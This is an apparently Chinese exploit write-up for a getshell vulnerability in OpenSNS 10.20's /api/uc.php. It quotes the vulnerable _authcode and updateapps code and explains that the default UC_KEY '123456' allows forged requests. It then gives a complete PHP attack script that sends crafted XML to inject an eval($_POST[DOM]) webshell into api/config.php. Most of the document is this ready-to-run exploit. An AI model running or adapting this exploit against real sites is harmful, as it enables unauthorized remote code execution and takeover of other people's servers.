opensns最新版10.20无限制Getshell

这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上

43-48行
        $code = @$_GET['code'];
        parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
        if(MAGIC_QUOTES_GPC) {
                $get = _stripslashes($get);
        }

变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中，如果GPC开启则stripslashes取消转义
我们再来看函数_authcode

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;
 
        $key = md5($key ? $key : UC_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
 
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
 
        $result = '';
        $box = range(0, 255);
 
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
 
        for($j = $i = 0; $i < 256; $i++) {
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
        }
 
        for($a = $j = $i = 0; $i < $string_length; $i++) {
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
 
        if($operation == 'DECODE') {
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                        return substr($result, 26);
                } else {
                                return '';
                        }
        } else {
                return $keyc.str_replace('=', '', base64_encode($result));  //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK！那么就会CMS就会出现问题

而程序默认安装的UC_KEY 为123456，_authcode算法自行加密，那么所有请求几乎无视GPC。又回到/api/uc.php

239-260行
        function updateapps($get, $post) {
                if(!API_UPDATEAPPS) {
                        return API_RETURN_FORBIDDEN;
                }
                $UC_API = $post['UC_API'];
 
                //note 写 app 缓存文件
                $cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php';
                $fp = fopen($cachefile, 'w');
                $s = "<?php\r\n";
                $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
                fwrite($fp, $s);
                fclose($fp);
 
                //note 写配置文件
                if(is_writeable($this->appdir.'api/config.php')) {
                        $configfile = trim(file_get_contents($this->appdir.'api/config.php'));
                        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
                        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);  //修复漏洞  --駿濤
                        if($fp = @fopen($this->appdir.'api/config.php', 'w')) {
                                @fwrite($fp, trim($configfile));
                                @fclose($fp)

又看到这一句
$configfile = preg_replace(“/define\(‘UC_API’,\s*’.*?’\);/i”, “define(‘UC_API’, ‘”.addslashes($UC_API).”‘);”, $configfile); //修复漏洞 –駿濤
这里虽然有addslashes，但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的，所以无视函数，随意写入一句话代码

我们开启UC在/api/config.php
define(‘UC_SYNC’, 1); 设为1就为开启
Getshell

<?php
 
// 代码版权归原作者所有！
 
    $timestamp = time()+10*3600;
 
    $host="localhost";
 
    $uc_key="123456";
 
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
 
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
 
<root>
 
<item id="UC_API">http://localhost/ucenter\');eval($_POST[DOM]);//</item>
 
</root>';
 
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
 
<root>
 
<item id="UC_API">http://localhost/ucenter</item>
 
</root>';
 
    $html1 = send($cmd1);
 
    echo $html1;
 
    $html2 = send($cmd2);
 
    echo $html2;
 
 
 
 
 
function send($cmd){
 
    global $host,$code;
 
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
 
    $message .= "Accept: */*\r\n";
 
    $message .= "Referer: ".$host."\r\n";
 
    $message .= "Accept-Language: zh-cn\r\n";
 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
 
    $message .= "Host: ".$host."\r\n";
 
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
 
    $message .= "Connection: Close\r\n\r\n";
 
    $message .= $cmd;
 
 
 
    //var_dump($message);
 
    $fp = fsockopen($host, 80);
 
    fputs($fp, $message);
 
 
 
    $resp = '';
 
 
 
    while ($fp && !feof($fp))
 
        $resp .= fread($fp, 1024);
 
 
 
    return $resp;
 
}
 
 
 
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
        $ckey_length = 4;
 
 
 
        $key = md5($key ? $key : UC_KEY);
 
        $keya = md5(substr($key, 0, 16));
 
        $keyb = md5(substr($key, 16, 16));
 
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
 
 
        $cryptkey = $keya.md5($keya.$keyc);
 
        $key_length = strlen($cryptkey);
 
 
 
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
 
        $string_length = strlen($string);
 
 
 
        $result = '';
 
        $box = range(0, 255);
 
 
 
        $rndkey = array();
 
        for($i = 0; $i <= 255; $i++) {
 
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 
        }
 
 
 
        for($j = $i = 0; $i < 256; $i++) {
 
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
 
                $tmp = $box[$i];
 
                $box[$i] = $box[$j];
 
                $box[$j] = $tmp;
 
        }
 
 
 
        for($a = $j = $i = 0; $i < $string_length; $i++) {
 
                $a = ($a + 1) % 256;
 
                $j = ($j + $box[$a]) % 256;
 
                $tmp = $box[$a];
 
                $box[$a] = $box[$j];
 
                $box[$j] = $tmp;
 
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 
        }
 
 
 
        if($operation == 'DECODE') {
 
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
 
                        return substr($result, 26);
 
                } else {
 
                                return '';
 
                        }
 
        } else {
 
                return $keyc.str_replace('=', '', base64_encode($result));
 
        }
 
 
 
}
 
?>